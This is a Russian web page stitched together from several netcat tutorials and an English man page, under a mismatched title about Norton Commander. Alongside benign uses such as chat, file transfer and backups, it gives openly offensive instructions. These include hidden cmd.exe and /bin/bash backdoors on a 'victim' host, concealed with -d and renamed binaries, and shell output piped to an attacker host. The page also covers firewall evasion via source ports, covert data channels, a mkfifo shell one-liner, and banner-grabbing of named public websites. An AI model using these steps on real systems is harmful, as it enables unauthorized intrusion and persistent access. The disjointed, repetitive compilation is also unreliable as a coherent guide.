• Netcat примеры. Команды Norton Commander

    06.01.2022

    Главное назначение утилиты netcat (или ‘nc’, как называется соответствующий выполняемый файл) — предоставить пользователю возможность передавать любые данные через сеть, используя транспортный протокол TCP или UDP. Кроме этого, netcat может выполнять еще несколько интересных функций, например, сканирования UDP- или TCP-Портов.

    При этом пользователь может, в частности:

    • свободно выбирать порт привязки (как локальный, так и отдаленный);
    • выполнять (не выполнять) прямую и обратную трансляцию DNS-Имен;
    • привязывать netcat к любому из адресов уровня сети локального узла;
    • передавать входные сообщения на обработку другой программе;
    • шифровать данные, которые передаются (эта возможность реализована в версии netcat, так называемая cryptcat).

    Базовые режимы работы

    Базовые режимы работы утилиты netcat — режим клиента и режим сервера.

    Простейший вариант запуска в режиме клиента:

    nc host port

    (если нужно использовать протокол TCP), или

    nc -u host port

    (если нужно использовать протокол UDP).

    Если не включенная опция -u, непосредственно после запуска в этом режиме netcat осуществляет попытку установить TCP-Соединение с портом port узла host.

    Работа netcat сводится к передаче на сокет host:port всего, что приходит к ней через стандартный канал ВВОДА, и выдачи в стандартный канал ВЫВОДА всего, что приходит к ней из этого сокета.

    Простейший вариант запуска в режиме сервера:

    nc -l -p port

    После запуска в этом режиме netcat ждет запросов на установление соединения с TCP-Портом port. После установления соединения выдает все, что приходит к ней через это соединение, в стандартный канал ВЫВОДА, и передает назад все, что приходит к ней через стандартный канал ВВОДА.

    Применение при подготовке и проведении программных атак

    Такое широкое назначение утилиты netcat открывает множество возможностей по ее применению. При подготовке и проведении программных атак возможное применение netcat для решении следующих, например, задач:

    • идентификация сервисов, которые предоставляют узлы сети (путем сканирования TCP- и UDP-Портов);
    • идентификация программного обеспечения сервисов, которые предоставляют узлы сети (путем сбора маркеров);
    • проникновение на узлы сети или нарушение доступности сервисов, которые они предоставляют;
    • создание скрытых каналов управления узлами сети;
    • создание скрытых каналов передачи данных.

    В последних двух случаях очень полезной есть возможность шифровать обмен между клиентом и сервером netcat (реализованная в cryptcat).

    Применение netcat для проникновения на узлы сети или отдаленного нарушения доступности сервисов, которые они предоставляют

    О проникновении на узел сети говорят в двух смыслах:

    1) как про захват полномочий пользователя узла (субъектом, который к этому не имел никаких полномочий относительно этого узла);

    2) как о преодолении ограничений на информационный обмен с узлом, наложенных межсетевым (сетевым) экраном.

    netcat может оказаться полезной в обоих случаях.

    Захват полномочий возможен путем отдаленной атаки на сервер, который принадлежит объекту атаки (используя, например, такую уязвимость сервера, как переполнение буфера). При этом у атакующего должна быть возможность передать серверу определенные данные. Как правило, это такие данные, которые невозможно передать с помощью обычной клиентской программы (но возможно с помощью netcat, поскольку netcat дает возможность передавать любые данные).

    Проникнуть через межсетевой (сетевой) экран может помочь способность netcat привязываться к любому локальному порту (включается опцией -p). Например, если netcat в режиме клиента привязывается к TCP-Порту 20 (ftp-data), во многих случаях межсетевые (сетевые) экраны разрешат устанавливать соединение с узлами (узлом) сети, которые (который) они защищают.

    Для нарушения доступности сервисов может применяться та самая способность netcat передавать любому серверу любые данные (например, некорректные запросы, которые приводят к зависанию сервера).

    Применение netcat для создания скрытых каналов управления узлами сети

    Предположим, что объектом атаки является узел под управлением MS Windows NT. Выполнив на объекте атаки

    nc –L -p xxxx -d -e cmd.exe

    (где xxxx — произвольный номер порта), получим скрытый канал управления этим объектом. Здесь опция -e включает режим, в котором стандартный поток ВЫВОДА результатов утилиты netcat подключается к стандартному каналу ВВОДА командного интерпретатора cmd.exe, а стандартные потоки ВЫВОДА результатов и сообщений об ошибках командного интерпретатора cmd.exe – к стандартному потоку ВВОДА утилиты netcat. Опция -L действует аналогично -l, с таким различием, что указывает на необходимость перезапуска netcat с теми же аргументами после завершения каждого соединения. Опция -d (detach) служит для скрытия запуска (netcat при этом не создает окна и не отображается в списке задач). Дополнительного эффекта скрытия можно достичь, если переименовать выполняемый файл netcat.

    Воспользоваться этим каналом можно, если, например, на другом узле следующим образом запустить netcat:

    nc troy xxxx

    где troy — адрес или имя объекта атаки.

    Опция -e, однако, не всегда поддерживается реализациями netcat. Если эта опция не поддерживается, аналогичного результата можно достичь, запустив по два экземпляра netcat на объекте атаки и на узле атакующего. Можно, например, применить следующий сценарий. На объекте атаки запустить:

    nc -L -p xxxx -d | cmd.exe | nc odysseus yyyy

    где odysseus — адрес или имя узла атакующего.

    А на узле атакующего:

    nc -l -p yyyy

    nc troy xxxx

    Такой сценарий называется перенаправлением портов . Обратите внимание на правильный порядок запуска программ (в данном тексте он отображен неправильно: сервер нужно запускать раньше клиента).

    Этот сценарий можно модифицировать. Например, на объекте атаки запускать netcat только в режиме клиента, а на узле атакующего – только в режиме сервера, или наоборот (придерживаясь при этом правильного порядка запуска: сервер должен запускаться ранее клиента).

    Манипулирование режимами запуска netcat, вместе с правильным выбором номеров портов, может разрешить во многих случаях преодолеть межсетевой (сетевой) экран, если последний применяется для защиты объекта атаки (например, если используется рассмотренный выше сценарий, во многих случаях может оказаться удачным выбор xxxx = 80 (порт HTTP-Сервера), yyyy = 25 (порт SMTP-Сервера)).

    Применение netcat для создания скрытых каналов передачи данных

    Рассмотрим, например, как с помощью netcat передать файл из сокета troy:xxxx на сокет mac:yyyy.

    Для этого достаточно на узле mac выполнить что-то наподобие:

    nc -l -p yyyy > godear

    а на узле troy:

    nc -p xxxx mac yyyy < prayer

    Здесь, снова таки, надлежащее манипулирование режимами запуска netcat и номерами портов может помочь преодолеть ограничения, которые накладываются межсетевыми (сетевыми) экранами.

    В данной статье я рассмотрю популярную сетевую утилиту netcat и полезные трюки при работе с ней.


    Netcat - утилита Unix, позволяющая устанавливать соединения TCP и UDP, принимать оттуда данные и передавать их. Несмотря на свою полезность и простоту, многие не знают способы ее применения и незаслуженно обходят ее стороной.


    С помощью данной утилиты можно производить некоторые этапы при проведении тестирования на проникновение. Это может быть полезно, когда на атакованной машине отсутствуют (или привлекут внимание) установленные пакеты, есть ограничения (например IoT/Embedded устройства) и т.д.


    Что можно сделать с помощью netcat:

    • Сканировать порты;
    • Перенаправлять порты;
    • Производить сбор баннеров сервисов;
    • Слушать порт (биндить для обратного соединения);
    • Скачивать и закачивать файлы;
    • Выводить содержимое raw HTTP;
    • Создать мини-чат.

    Вообще с помощью netcat можно заменить часть unix утилит, поэтому этот инструмент можно считать неким комбайном для выполнения тех или иных задач.

    Практические примеры

    Во многих случаях при необходимости проверки того или иного хоста используют телнет, либо собственные сервисные службы для выявления хоста или баннера. Как нам может помочь netcat:

    Проверка наличия открытого TCP-порта 12345

    $ nc -vn 192.168.1.100 12345
    nc: connect to 192.168.1.100 12345 (tcp) failed: Connection refused

    $ nc -v 192.168.1.100 22
    Connection to 192.168.1.100 22 port succeeded!
    SSH-2.0-OpenSSH

    Сканирование TCP-портов с помощью netcat:

    $ nc -vnz 192.168.1.100 20-24

    При таком сканировании не будет соединение с портом, а только вывод успешного соединения:


    nc: connectx to 192.168.1.100 port 20 (tcp) failed: Connection refused
    nc: connectx to 192.168.1.100 port 21 (tcp) failed: Connection refused
    found 0 associations
    found 1 connections:
    1: flags=82
    outif en0
    src 192.168.1.100 port 50168
    dst 192.168.1.100 port 22
    rank info not available
    TCP aux info available
    Connection to 192.168.1.100 port 22 succeeded!
    nc: connectx to 192.168.1.100 port 23 (tcp) failed: Connection refused
    nc: connectx to 192.168.1.100 port 24 (tcp) failed: Connection refused

    Сканирование UDP-портов.

    Для сканирования UDP портов с помощью nmap необходимы root привилегии. Если их нет - в этом случае нам тоже может помочь утилита netcat:


    $ nc -vnzu 192.168.1.100 5550-5560
    Connection to 192.168.1.100 port 5555 succeeded!

    Отправка UDP-пакета

    $ echo -n "foo" | nc -u -w1 192.168.1.100 161

    Это может быть полезно при взаимодействии с сетевыми устройствами.

    Прием данных на UDP-порту и вывод принятых данных

    $ nc -u localhost 7777

    После первого сообщения вывод будет остановлен. Если необходимо принять несколько сообщений, то необходимо использовать while true:


    $ while true; do nc -u localhost 7777; done

    Передача файлов. С помощью netcat можно как получать файлы, так и передавать на удаленный хост:


    nc 192.168.1.100 5555 < 1.txt
    nc -lvp 5555 > /tmp/1.txt

    Netcact в роли простейшего веб-сервера.

    Netcat может выполнять роль простейшего веб-сервера для отображения html странички.


    $ while true; do nc -lp 8888 < index.html; done

    C помощью браузера по адресу: http://хост netcat:8888/index.html. Для использования стандартного порта веб-сервера под номером 80 вам придется запустить nc c root привелегиями:


    $ while true; do sudo nc -lp 80 < test.html; done

    Чат между узлами

    На первом узле (192.168.1.100):


    $ nc -lp 9000

    На втором узле:


    $ nc 192.168.1.100 9000

    После выполнения команд все символы, введенные в окно терминала на любом из узлов появятся в окне терминала другого узла.

    Реверс-шелл

    С помощью netcat можно организовать удобный реверс-шелл:


    nc -e /bin/bash -lp 4444

    Теперь можно соединиться с удаленного узла:


    $ nc 192.168.1.100 4444

    Не стоит опускать руки, если нет тех или иных инструментов, зачастую довольно громоздких, иногда задачу можно решить подручными средствами.

    Почти в любом дистрибутиве Linux есть маленькая незаметная утилита netcat , или просто nc . Эта программа может создавать TCP-сокеты либо в режиме сервера для ожидания соединения, либо в режиме клиента для подключения к серверу. А по правде сказать, для netcat вовсе не играет роли, собираетесь ли вы использовать его как сервер или как клиент – его работа заключается только в том, чтобы собрать данные с stdin и передать на указанный сетевой адрес.

    Простейший пример использования netcat – это создать клиент-серверный чат. Хотя это и очень примитивный способ создания чата, он наглядно показывает, как данная утилита работает. В последующих примерах будет подразумеваться, что машина, создающая сокет в режиме ожидания (сервер), имеет IP-адрес 192.168.0.1. Итак, создаем чат-сервер, который будет ожидать соединений на TCP-порт 3333:

    $ nc -l 3333

    Теперь мы можем с другого компьютера подключиться к данному серверу:

    $ nc 192.168.0.1 3333

    В данном случае клавиатура выступает в роли stdin. Все набираемое на клавиатуре на стороне сервера будет передано на терминал клиента, и наоборот.

    Передача файлов

    Совершенно аналогичным образом можно использовать netcat для передачи файлов между двумя компьютерами. При помощи следующей команды можно создать сервер, который подготовит файл к передаче:

    Получить файл backup.iso на другом компьютере можно следующим образом:

    $ nc 192.168.0.1 3333 > backup.iso

    Как можно заметить, netcat не отображает никакой информации о процессе передачи данных. При работе с большими файлами это может быть довольно неудобно. Для решения этой проблемы можно использовать утилиту (progress viewer). В данном примере на стороне сервера будет в реальном времени отображаться информация о скорости и объеме передаваемых данных:

    $ cat backup.iso | pv -b | nc -l 3333

    Подобным образом можно показывать статистику и на стороне клиента:

    $ nc 192.168.0.1 3333 | pv -b > backup.iso

    Другие примеры

    Утилита netcat может также пригодиться для создания образа раздела жесткого диска с возможностью отправки его на удаленный сервер на лету:

    $ dd if=/dev/hdb5 | gzip -9 | nc -l 3333

    А на удаленной машине принять созданный образ можно так:

    $ nc 192.168.0.1 3333 | pv -b > myhdb5partition.img.gz

    В случае необходимости отправки группы файлов – например, набора конфигурационных файлов – можно скомбинировать netcat и архиватор tar:

    $ tar -czf - /etc/ | nc -l 3333

    Дефис в качестве имени файла в параметрах tar необходим для того, чтобы вывести результат работы архиватора на stdin, который затем перенаправляется в netcat. Принять созданный бэкап на удаленной машине можно аналогично изложенному ранее:

    $ nc 192.168.0.1 3333 | pv -b > mybackup.tar.gz

    Безопасность

    Очевидно, что при подобном использовании netcat информация передается по сети в исходном нешифрованном виде. Для передачи некритических данных это вполне приемлемо, но при передаче какой-либо ценной информации разумно использовать netcat в сочетании с SSH-туннелем.

    Использование SSH-туннеля имеет два преимущества:

    1. Информация передается внутри зашифрованного туннеля, так что она хорошо защищена;
    2. На сервере не требуется открывать никаких дополнительных портов в конфигурации файрвола, поскольку соединение будет установлено через SSH

    На стороне сервера файл в netcat выставляется точно так же, как описано ранее:

    $ cat backup.iso | nc -l 3333

    А вот на стороне клиента подключаемся к ожидающему соединений сокету netcat через SSH-туннель:

    $ ssh -f -L 23333:127.0.0.1:3333 [email protected] sleep 10; \ nc 127.0.0.1 23333 | pv -b > backup.iso

    Понятно, что есть и другие способы помещения соединения в SSH-туннель, но создание и использование туннеля именно таким образом имеет полезную особенность, что туннель автомагически закрывается при окончании передачи данных через netcat.

    …и переносной сканер портов

    Невероятно, но netcat еще можно использовать и для сканирования открытых портов. Для этого поможет параметр -z:

    $ nc -z 192.168.0.1 80-90 Connection to 192.168.0.1 80 port succeeded!

    В данном примере netcat сканировал диапазон портов 80-90 и сообщил, что на удаленной машине открыт порт 80.

    На страницах man по утилите netcat также содержится и ряд других полезных советов и интересных примеров использования данной программы.

    nc [-46bCDdhklnrStUuvZz] [-I length ] [-i interval ] [-O length ] [-P proxy_username ] [-p source_port ] [-q seconds ] [-s source ] [-T toskeyword ] [-V rtable ] [-w timeout ] [-X proxy_protocol ] [-x proxy_address [:port ]] [destination ] [port ]

    Options

    -4 Forces nc to use IPv4 addresses only.
    -6 Forces nc to use IPv6 addresses only.
    -b Allow broadcast.
    -C Send as line-ending.
    -D Enable debugging on the socket.
    -d Do not attempt to read from stdin .
    -h Prints out nc help.
    -I length Specifies the size of the TCP receive buffer .
    -i interval Specifies a delay time interval between lines of text sent and received. Also, causes a delay time between connections to multiple ports.
    -k Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the -l option.
    -l Used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host . It is an error to use this option in conjunction with the -p , -s , or -z options. Additionally, any timeouts specified with the -w option are ignored.
    -n Do not do any DNS or service lookups on any specified addresses, hostnames or ports .
    -O length Specifies the size of the TCP send buffer.
    -P proxy_username Specifies a username to present to a proxy server that requires authentication . If no username is specified then authentication will not be attempted. Proxy authentication is only supported for HTTP CONNECT proxies at present.
    -p source_port Specifies the source port nc should use, subject to privilege restrictions and availability.
    -q seconds after EOF on stdin, wait the specified number of seconds and then quit. If seconds is negative, wait forever.
    -r Specifies that source or destination ports should be chosen randomly instead of sequentially within a range or in the order that the system assigns them.
    -S Enables the RFC 2385 TCP MD5 signature option.
    -s source Specifies the of the interface that is used to send the packets . For UNIX-domain datagram sockets, specifies the local temporary socket file to create and use so that datagrams can be received. It is an error to use this option in conjunction with the -l option.
    -T toskeyword Change IPv4 TOS value. toskeyword may be one of critical , inetcontrol , lowcost , lowdelay , netcontrol , throughput , reliability , or one of the DiffServ Code Points: ef , af11 ... af43 , cs0 ... cs7 ; or a number in either hex or decimal .
    -t Causes nc to send RFC 854 DON"T and WON"T responses to RFC 854 DO and WILL requests. This makes it possible to use nc to script telnet sessions.
    -U Specifies to use UNIX-domain sockets.
    -u Use UDP instead of the default option of TCP. For UNIX-domain sockets, use a datagram socket instead of a stream socket. If a UNIX-domain socket is used, a temporary receiving socket is created in /tmp unless the -s flag is given.
    -V rtable Set the routing table to be used. The default is 0.
    -v Have nc give more verbose output.
    -w timeout Connections which cannot be established or are idle timeout after timeout seconds. The -w flag has no effect on the -l option, i.e. nc will listen forever for a connection, with or without the -w flag. The default is no timeout.
    -X proxy_protocol Requests that nc should use the specified protocol when talking to the proxy server. Supported protocols are "4 " (SOCKS v.4), "5 " (SOCKS v.5) and "connect " (HTTPS proxy). If the protocol is not specified, SOCKS version 5 is used.
    -x proxy_address[:port] Requests that nc should connect to destination using a proxy at proxy_address and port . If port is not specified, the well-known port for the proxy protocol is used (1080 for SOCKS, 3128 for HTTPS).
    -Z DCCP mode.
    -z Specifies that nc should only scan for listening daemons, without sending any data to them. It is an error to use this option in conjunction with the -l option.

    destination can be a numerical IP address or a symbolic hostname (unless the -n option is given). In general, a destination must be specified, unless the -l option is given (in which case the local host is used). For UNIX-domain sockets, a destination is required and is the socket path to connect to (or listen on if the -l option is given).

    port can be a single integer or a range of ports. Ranges are in the form nn-mm . In general, a destination port must be specified, unless the -U option is given.

    Client/Server model

    It is quite simple to build a very basic client/server model using nc . On one console, start nc listening on a specific port for a connection. For example:

    Nc -l 1234

    nc is now listening on port 1234 for a connection. On a second console (or a second machine), connect to the machine and port being listened on:

    Nc 127.0.0.1 1234

    There should now be a connection between the ports. Anything typed at the second console will be concatenated to the first, and vice-versa. After the connection was set up, nc does not really care which side is being used as a ‘server’ and which side is being used as a ‘client’. The connection may be terminated using an EOF (‘^D ’).

    There is no -c or -e option in modern netcat, but you still can execute a command after connection being established by redirecting file descriptors. Be cautious here because opening a port and let anyone connected execute arbitrary command on your site is DANGEROUS. If you really need to do this, here is an example:

    On ‘server’ side:

    Rm -f /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

    On ‘client’ side:

    Nc host.example.com 1234

    (shell prompt from host.example.com)

    Start by using nc to listen on a specific port, with output captured into a file:

    Nc -l 1234 > filename.out

    Using a second machine, connect to the listening nc process, feeding it the file that is to be transferred:

    Nc host.example.com 1234 < filename.in

    After the file is transferred, the connection will close automatically.

    Talking to servers

    It is sometimes useful to talk to servers "by hand" rather than through a user interface. It can aid in troubleshooting, when it might be necessary to verify what data a server is sending in response to commands issued by the client. For example, to retrieve the homepage of a website:

    Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

    Note that this also displays the headers sent by the web server. They can be filtered, using a tool such as sed , if necessary.

    More complicated examples can be built up when the user knows the format of requests required by the server. As another example, an e-mail may be submitted to an SMTP server using:

    Nc [-C] localhost 25 << EOF HELO host.example.com MAIL FROM:< > RCPT TO:< > DATA Body of e-mail. . QUIT EOF

    Port scanning

    It may be useful to know which ports are open and running services on a target machine. The -z flag can be used to tell nc to report open ports, rather than initiate a connection. Usually, it"s useful to turn on verbose output to stderr by use this option in conjunction with -v option.

    Nc -zv host.example.com 20-30 Connection to host.example.com 22 port succeeded! Connection to host.example.com 25 port succeeded!

    The port range was specified to limit the search to ports 20 - 30 , and is scanned by increasing order.

    You can also specify a list of ports to scan, for example:

    Nc -zv host.example.com 80 20 22 nc: connect to host.example.com 80 (tcp) failed: Connection refused nc: connect to host.example.com 20 (tcp) failed: Connection refused Connection to host.example.com port succeeded!

    The ports are scanned by the order you given.

    Alternatively, it might be useful to know which server software is running, and which versions. This information is often contained in the greeting banners. To retrieve these, it is necessary to first make a connection, and then break the connection when the banner was retrieved. This can be accomplished by specifying a small timeout with the -w flag, or perhaps by issuing a "QUIT" command to the server:

    Echo "QUIT" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Protocol mismatch. 220 host.example.com IMS SMTP Receiver Version 0.84 Ready

    Examples

    nc -p 31337 -w 5 host.example.com 42

    Opens a TCP connection to port 42 of host.example.com , using port 31337 as the source port, with a timeout of 5 seconds.

    Nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42

    The same as the above example, but this time enabling proxy authentication with username "ruser " if the proxy requires it.

    Related commands

    ifconfig — View or modify the configuration of network interfaces.

    ·nc -h

    Как Вы можете видеть, основной синтаксис Netcat заключается в следующем.

    Чтобы подключиться к другой машине:

    ·nc options host IP address port

    чтобы прослушивать входящие соединения:

    ·nc -l -p port

    Шаг 2: Используйте Netcat для подключения к удаленной системе

    Давайте используем Netcat для подключения к удаленной системе. В нашем случае, постараемся подключиться к веб-серверу через порт 80. Набираем:

    ·nc 192.168.1.105 80


    Шаг 3: Используйте Netcat, чтобы захватить баннер с отпечатками пальцев ОС

    Как только мы получили связь TCP с веб мы можем использовать Netcat, чтобы захватить баннер веб сервера для идентификации, какое программное обеспечение работает на веб-сервере жертвы.

    Помните, что, прежде чем атаковать любую систему, мы должны узнать как можно больше о жертве. Netcat может помочь нам с этой задачей, захватывая баннеры, которые веб-серверы обслуживают для новых подключений.

    Теперь, когда у нас есть связь, мы можем захватить баннер с веб - сервера с помощью команды:

    ·HEAD / HTTP/1.0

    Будьте внимательными и скопируйте в точности, как ввел автор, с косой чертой и пробелами.


    Нажмите Enter несколько раз, и веб -сервер ответит своим баннером, сообщив нам, какое его программное обеспечение запущено. В нашем случае, мы можем видеть, что веб - сервер работает под управлением Microsoft IIS 6.0.

    Мы можем использовать эту технику также на других общедоступных сайтах. Давайте попробуем на некоторых широко известных сайтах и посмотрим, какое программное обеспечение они используют на веб-сервере. Во-первых, давайте попробуем сайт wonderhowto.com. Когда мы пропингуем wonderhowto.com, то увидим, что IP-адрес 98.129.110.26. Таким образом, можно затем ввести:

    ·nc 98.129.110.26 80

    После того, как будет связь, мы можем захватить баннер веба, снова набрав:

    ·HEAD / HTTP/1.0

    А потом нажмите Enter два или три раза.


    Как видим, wonderhowto.com работает на Microsoft-IIS/7.5.

    Если мы попробуем то же самое с cnn.com, то получим результаты, приведенные ниже:


    Интересно, cnn.com работает на nginx - веб сервере с открытым исходным кодом, который за очень короткий промежуток времени достиг в глобальном масштабе общего числа установок Microsoft IIS (Apache, как и раньше, используют более 60 % веб-серверов на планете).

    Шаг 4: Используйте Netcat для прослушивания подключений

    Теперь давайте используем netcat, чтобы создать слушателя на удаленной системе. Предположим, что у нас есть Windows Server, на котором мы установили netcat. Теперь мы можем ввести следующее, чтобы открыть netcat слушателя на порту 6996 (это может быть любой порт) в этой системе:

    ·nc - l -p 6996

    Так был создан "слушатель", который может подключиться к нашему досугу. Обратите внимание, что на системах Windows, мы можем запустить эту же команду с верхним регистром L и это создаст постоянного слушателя, который откроется, даже если система будет перезагружена.

    Шаг 5: Создайте Backdoor

    Теперь давайте создадим бэкдор на зараженной системе, чтобы мы могли вернуться в любое время. Команда будет незначительно отличаться в зависимости от того, какую систему, Linux или Windows, атакуем.

    Для Windows мы используем:

    ·nc -l -p 6996 -e cmd.еxe

    Для Linux используем:

    ·nc -l -p 6996 -e /bin/bash

    ·nc 192.168.1.105 6996


    Как Вы можете видеть, командную строку Windows провел по трубопроводу через наше подключение netcat непосредственно к нашей атакующей системе! Мы имеем этот ящик!

    Похожие статьи